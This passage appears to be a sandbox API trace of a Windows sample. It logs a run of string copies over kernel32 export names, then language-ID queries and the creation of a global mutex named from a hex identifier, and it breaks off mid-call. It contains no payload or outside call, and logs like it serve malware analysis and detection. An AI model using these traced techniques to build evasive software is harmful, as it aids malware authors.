lpString1=0x21fe428, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0083.317] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0083.317] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0083.317] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0083.317] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0083.317] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0083.317] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0083.317] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0083.318] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0083.318] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0083.318] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0083.318] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0083.318] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0083.318] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0083.318] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0083.318] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0083.318] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0083.318] lstrlenA (lpString="CLOSESTATE") returned 10 [0083.318] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0083.318] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0083.319] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0083.319] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0083.319] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0083.319] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0083.319] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0083.319] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0083.319] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0083.319] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0083.319] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0083.319] lstrcpyA (in: lpString1=0x21fe428, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0083.319] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0083.320] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0083.320] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0083.320] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0083.320] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0083.320] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0083.320] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0083.320] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0083.320] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0083.320] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0083.320] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0083.320] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0083.321] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0083.321] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0083.321] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0083.321] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0083.321] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0083.321] lstrlenA (lpString="COPYCONTEXT") returned 11 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0083.321] lstrlenA (lpString="COPYFILE2") returned 9 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0083.321] lstrlenA (lpString="COPYFILEA") returned 9 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0083.321] lstrlenA (lpString="COPYFILEEXA") returned 11 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0083.321] lstrlenA (lpString="COPYFILEEXW") returned 11 [0083.321] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0083.322] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0083.322] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0083.322] lstrlenA (lpString="COPYFILEW") returned 9 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0083.322] lstrlenA (lpString="COPYLZFILE") returned 10 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0083.322] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0083.322] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0083.322] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0083.322] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0083.322] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0083.322] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0083.322] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0083.323] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0083.323] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0083.323] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0083.323] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0083.323] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0083.323] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0083.323] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0083.323] lstrlenA (lpString="CREATEEVENTA") returned 12 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0083.323] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0083.323] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0083.323] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0083.323] lstrlenA (lpString="CREATEEVENTW") returned 12 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0083.324] lstrlenA (lpString="CREATEFIBER") returned 11 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0083.324] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0083.324] lstrlenA (lpString="CREATEFILE2") returned 11 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0083.324] lstrlenA (lpString="CREATEFILEA") returned 11 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0083.324] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0083.324] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0083.324] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0083.324] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0083.324] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0083.324] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0083.324] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0083.325] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0083.325] lstrlenA (lpString="CREATEFILEW") returned 11 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0083.325] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0083.325] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0083.325] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0083.325] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0083.325] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0083.325] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0083.325] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0083.325] lstrlenA (lpString="CREATEJOBSET") returned 12 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0083.325] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0083.325] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0083.325] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0083.325] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0083.325] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0083.325] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0083.326] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0083.326] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0083.326] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0083.326] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0083.326] lstrlenA (lpString="CREATEPIPE") returned 10 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0083.326] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0083.326] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0083.326] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0083.326] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0083.326] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0083.326] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0083.326] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0083.326] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0083.326] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0083.326] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0083.326] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0083.326] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0083.327] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0083.327] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0083.327] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0083.327] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0083.327] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0083.327] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0083.327] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0083.327] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0083.327] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0083.327] lstrlenA (lpString="CREATETHREAD") returned 12 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0083.327] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0083.327] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0083.327] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0083.327] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0083.327] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0083.327] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0083.327] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0083.327] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0083.328] GetWindowsDirectoryW (in: lpBuffer=0x21ff264, uSize=0x200 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0083.328] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.334] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.335] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0083.335] wsprintfW (in: param_1=0x2b40000, param_2="%x%x" | out: param_1="621c08e0b4197730") returned 16 [0083.335] GetUserDefaultUILanguage () returned 0x409 [0083.335] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.335] GetSystemDefaultLangID () returned 0x680409 [0083.336] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.336] GetUserDefaultLangID () returned 0x409 [0083.337] GetTickCount64 () returned 0x2a7b0 [0083.337] wsprintfW (in: param_1=0x21ff764, param_2="Global\\%s" | out: param_1="Global\\621c08e0b4197730") returned 23 [0083.337] CreateMutexW (lpMutexAttributes=0x0, 